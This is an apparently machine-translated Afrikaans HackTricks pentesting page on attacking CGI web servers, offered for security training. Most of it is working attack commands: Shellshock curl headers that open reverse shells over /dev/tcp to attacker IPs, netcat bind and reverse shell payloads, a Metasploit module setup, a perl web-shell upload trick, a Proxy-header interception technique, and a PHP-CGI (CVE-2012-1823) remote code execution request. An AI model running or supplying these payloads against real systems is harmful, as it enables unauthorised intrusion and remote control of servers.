6.9 KiB
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsieplanne!
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PR's in te dien na die HackTricks en HackTricks Cloud github repos.
Inligting
Die CGI-skripte is perl-skripte, so, as jy 'n bediener gecompromitteer het wat .cgi skripte kan uitvoer, kan jy 'n perl reverse shell oplaai `/usr/share/webshells/perl/perl-reverse-shell.pl`
, die uitbreiding verander van .pl na .cgi, uitvoeringsregte gee `chmod +x`
en toegang tot die reverse shell van die webblaaier om dit uit te voer.
Om te toets vir CGI kwesbaarhede word dit aanbeveel om nikto -C all
en al die plugins
te gebruik.
ShellShock
ShellShock is 'n kwesbaarheid wat die algemeen gebruikte Bash opdraglyn-skal in Unix-gebaseerde bedryfstelsels beïnvloed. Dit teiken die vermoë van Bash om opdragte wat deur toepassings oorgedra word, uit te voer. Die kwesbaarheid lê in die manipulasie van omgewing veranderlikes, wat dinamiese benoemde waardes is wat beïnvloed hoe prosesse op 'n rekenaar loop. Aanvallers kan dit benut deur kwaadaardige kode aan omgewing veranderlikes te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om die stelsel moontlik te kompromitteer.
Deur hierdie kwesbaarheid te benut, kan die bladsy 'n fout gooi.
Jy kan hierdie kwesbaarheid vind deur te let op dat dit 'n ou Apache weergawe en cgi_mod met cgi-gids
gebruik of deur nikto te gebruik.
Toets
Meeste toetse is gebaseer op om iets te echo en verwag dat daardie string in die webrespons teruggestuur word. As jy dink 'n bladsy mag kwesbaar wees, soek vir al die cgi-bladsye en toets hulle.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflected, blind and out-of-band)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploit
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM na Web bediener versoeke)
CGI skep 'n omgewing veranderlike vir elke kop in die http versoek. Byvoorbeeld: "host:web.com" word geskep as "HTTP_HOST"="web.com"
Aangesien die HTTP_PROXY veranderlike deur die web bediener gebruik kan word. Probeer om 'n kop te stuur wat bevat: "Proxy: <IP_aanvaller>:<PORT>" en as die bediener enige versoek tydens die sessie uitvoer. Jy sal in staat wees om elke versoek wat deur die bediener gemaak word, te vang.
Ou PHP + CGI = RCE CVE-2012-1823, CVE-2012-2311
Basies, as cgi aktief is en php "oud" <5.3.12 / < 5.4.2
kan jy kode uitvoer.
Om hierdie kwesbaarheid te benut, moet jy toegang verkry tot 'n PHP-lêer van die web bediener sonder om parameters te stuur veral sonder om die karakter "=" te stuur
.
Dan, om hierdie kwesbaarheid te toets, kan jy byvoorbeeld toegang verkry tot /index.php?-s
let op die `-s`
en bronkode van die toepassing sal in die antwoord verskyn.
Dan, om RCE te verkry, kan jy hierdie spesiale navraag stuur: /?-d allow_url_include=1 -d auto_prepend_file=php://input
en die PHP kode wat in die liggaam van die versoek uitgevoer moet word.
Voorbeeld:**
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Meer inligting oor die kwesbaarheid en moontlike eksploit: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Skryweksample.
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsieplanne!
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.